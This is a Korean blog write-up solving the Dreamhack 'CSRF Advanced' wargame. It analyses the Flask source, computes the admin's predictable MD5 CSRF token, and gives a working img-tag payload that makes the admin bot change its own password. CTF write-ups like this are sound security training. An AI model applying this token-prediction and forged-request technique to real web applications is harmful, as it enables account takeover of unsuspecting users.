본문 바로가기

드림핵

[드림핵 워게임] CSRF Advanced

<문제>

 

<풀이>

1. 취약점 확인하기

문제 사이트에 접속하면 처음으로 뜨는 페이지이다.

login, change password, vuln page, flag가 있는데, 먼저 취약점이 있는 vuln page를 확인해보자.

 

vuln 페이지에 접속하면 위와 같은 url로 요청이 간다.

 

@app.route("/vuln")
def vuln():
    param = request.args.get("param", "").lower()
    xss_filter = ["frame", "script", "on"]
    for _ in xss_filter:
        param = param.replace(_, "*")
    return param

vuln 페이지에 해당하는 코드를 살펴보면

param에 전달된 파라미터에 대해서 XSS 공격만 필터링하고 그대로 리턴하는 것을 볼 수 있다.

그래서 CSRF에 취약한 것을 알 수 있다.

 

코드만 봐도 CSRF에 취약한 것을 확인할 수 있지만

확실하게 하기 위해 그리고 툴 사용을 연습하기 위해 Dreamhack Tools를 활용해 한번더 확인해볼 것이다.

 

https://tools.dreamhack.games/ 

위의 링크에 접속해서 Request Bin으로 들어가면 위와 같이 랜덤 링크를 받을 수 있다.

 

받은 링크를 복사해서 vuln 페이지의 param 파라미터에 전달하는 img 태그의 src 값에 붙여넣은 뒤 요청을 보낸다.

 

다시 Dreamhack Tools의 Request Bin 페이지로 들어가보면 GET 요청이 온 것을 확인할 수 있다.

vuln 페이지에서 CSRF로 위조한 요청이 정상적으로 전달되는 것이다.

 

 

2. guest 계정으로 사이트 동작 확인하기

users = {
    'guest': 'guest',
    'admin': FLAG
}

주어진 코드의 18~21행에 계정정보가 노출되어 있다.

guest 계정으로 로그인, 패스워드 변경 등을 하며 사이트가 어떻게 동작하는지 확인해보고자 한다.

 

먼저 login 페이지로 들어가서

username : guest

password : guest

로 로그인한다.

 

guest로 로그인이 되었다.

 

개발자도구(F12) > Application > Storage > Cookies로 들어가 쿠키를 확인해보면

sessionid라는 이름의 쿠키가 생성된 것을 확인할 수 있다.

 

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    elif request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        try:
            pw = users[username]
        except:
            return '<script>alert("user not found");history.go(-1);</script>'
        if pw == password:
            resp = make_response(redirect(url_for('index')) )
            session_id = os.urandom(8).hex()
            session_storage[session_id] = username
            token_storage[session_id] = md5((username + request.remote_addr).encode()).hexdigest()
            resp.set_cookie('sessionid', session_id)
            return resp 
        return '<script>alert("wrong password");history.go(-1);</script>'

코드를 통해 확인해보면

사용자가 입력한 username로 users 딕셔너리에서 pw를 조회하고

정상적으로 pw가 조회되면 사용자가 입력한 password 값과 비교해서 같으면 login을 성공시키는 것을 알 수 있다.

 

 이때 session_id를 생성하고 session_id를 키로 해서

session_storage에 username을 저장하고

token_storage에 username과 request.remote_addr을 이용해 생성한 암호화된 문자열을 저장한다.

그리고 session_id를 쿠키에 저장한다.

 

이제 guest로 로그인했으니 비밀번호를 변경하는 기능을 살펴보자.

 

change_password로 들어가서 새로운 비밀번호를 입력하고 전송한다.

 

Burp Suite를 이용해 전송되는 요청 패킷을 확인해보면,

첫번째 줄에 내가 입력한 새로운 패스워드 값 1과 함께 csrftoken이 전달되는 것을 볼 수 있다.

 

@app.route("/change_password")
def change_password():
    session_id = request.cookies.get('sessionid', None)
    try:
        username = session_storage[session_id]
        csrf_token = token_storage[session_id]
    except KeyError:
        return render_template('index.html', text='please login')
    pw = request.args.get("pw", None)
    if pw == None:
        return render_template('change_password.html', csrf_token=csrf_token)
    else:
        if csrf_token != request.args.get("csrftoken", ""):
            return '<script>alert("wrong csrf token");history.go(-1);</script>'
        users[username] = pw
        return '<script>alert("Done");history.go(-1);</script>'

코드를 통해 확인해보면

119행에서  session_id를 키로 해서 token_storage에서 csrf_token을 가져오고

126행에서 가져온 csrf_token과 요청 파라미터에 들어가는 csrftoken을 비교해서 

두 값이 같으면 패스워드를 변경해주는 것을 알 수 있다.

 

csrf_token만 알 수 있다면 change_password로 전달되는 요청을 변조해서 비밀번호 변경에 성공할 수 있다.

(다만 그 전에 session_id가 쿠키로 세팅되어있어야 한다.)

 

 

3. 익스플로잇

아직 우리가 살펴보지 않은 코드가 있다.

@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param", "")
        if not check_csrf(param):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'

flag 페이지에서는 param 파라미터를 입력받아서 check_csrf() 함수에 넘겨준다.

 

def check_csrf(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)

check_csrf() 함수에서는 57행과 같이 url을 구성해서 read_url() 함수에 넘겨준다.

 

def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    service = Service(executable_path="/chromedriver")
    options = webdriver.ChromeOptions()
    try:
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/login")
        driver.add_cookie(cookie)
        driver.find_element(by=By.NAME, value="username").send_keys("admin")
        driver.find_element(by=By.NAME, value="password").send_keys(users["admin"])
        driver.find_element(by=By.NAME, value="submit").click()
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True

47행을 보면 read_url() 함수에서는 check_csrf() 에서 넘겨준 url로 요청을 보내는데

그 앞에 흥미로운 코드가 있다.

http://127.0.0.1:8000/login에 방문해서 admin 계정의 username과 password를 입력하고 submit을 클릭하는 것이다.

즉, 127.0.0.1 호스트(서버의 로컬호스트)에서 admin으로 로그인을 수행하는 것이다.

 

그러면 앞서 guest 계정을 이용해 로그인 기능을 확인했던 것과 같이

127.0.0.1 호스트에는 admin에 대한 session_id가 생성되고 csrf_token도 생성될 것이다.

 

 

 

 

이제 공격 시나리오를 짜보자.

우리의 목표는 host3.dreamhack.games 호스트에서 admin으로 로그인해서 FLAG를 출력하는 것이다.

 

그런데 admin의 비밀번호를 알 수 없으니

csrf_token을 알면 비밀번호를 변경할 수 있는 change_password의 취약점을 공략해서 admin의 비밀번호를 변경할 것이다.

 

이때 비밀번호를 변경하려면 session_id가 쿠키로 세팅되어 있어야 하는데

앞서 살펴본 real_url() 함수에서 사용자가 입력한 url로 요청을 보내기 전에 admin으로 로그인을 하는 것을 확인할 수 있었다.

그러면 사용자가 입력한 url로 요청을 보낼 때는 이미 쿠키에 session_id가 세팅되어있을 것이다.

 

그래서 결론은 다음과 같다.

 

1) admin의 csrf_token을 알아낸다.

2) flag 페이지에서 change_password로 요청을 전송하는 csrf 공격 페이로드를 보낸다.

3) read_url() 함수에서 admin으로 로그인 수행한 뒤, csrf 공격 페이로드 요청도 처리한다.

4) 서버 측에 저장된 admin계정의 비밀번호가 변경된다.

5) 변경된 비밀번호로 admin 계정에 로그인한다.

6) FLAG가 출력된다.

 

 

1) admin의 csrf_token을 알아낸다.

문제 코드의 108행에 csrf_token 문자열을 생성하는 코드를 따와서 admin의 csrf_token을 만드는 코드를 짜서 돌렸다.

from flask import request
from hashlib import md5

username = 'admin'
remote_addr = '127.0.0.1'

csrf_token = md5((username + remote_addr).encode()).hexdigest()
print("csrf_token :", csrf_token)

remote_addr에 어떤 값을 넣어야할지 고민을 많이 했는데 답은 127.0.0.1 이었다.

왜냐하면 read_url()에서 로그인할 때 127.0.0.1에서 이루어지기 때문이다.

 

위의 코드를 동작시키면

 csrf_token : 7505b9c72ab4aa94b1a4ed7b207b67fb 

이 출력된다.

 

 

2) flag 페이지에서 change_password로 요청을 전송하는 csrf 공격 페이로드를 보낸다.

img 태그를 활용해서 csrf 페이로드를 작성했다.

<img src=http://127.0.0.1:8000/change_password?pw=1&csrftoken=7505b9c72ab4aa94b1a4ed7b207b67fb>

 

페이로드를 입력했다.

 

제출하니까 good 알림창이 뜬다.

 

 

3) read_url() 함수에서 admin으로 로그인 수행한 뒤, csrf 공격 페이로드 요청도 처리한다.

good 알림창이 떴으니 이 부분이 정상적으로 처리되었을 것이다.

 

 

4) 서버 측에 저장된 admin계정의 비밀번호가 변경된다.

이 부분도 마찬가지로 정상적으로 처리되었을 것이다.

 

 

5) 변경된 비밀번호로 admin 계정에 로그인한다.

했다.

 

 

 

4. FLAG 획득

FLAG가 출력되었다.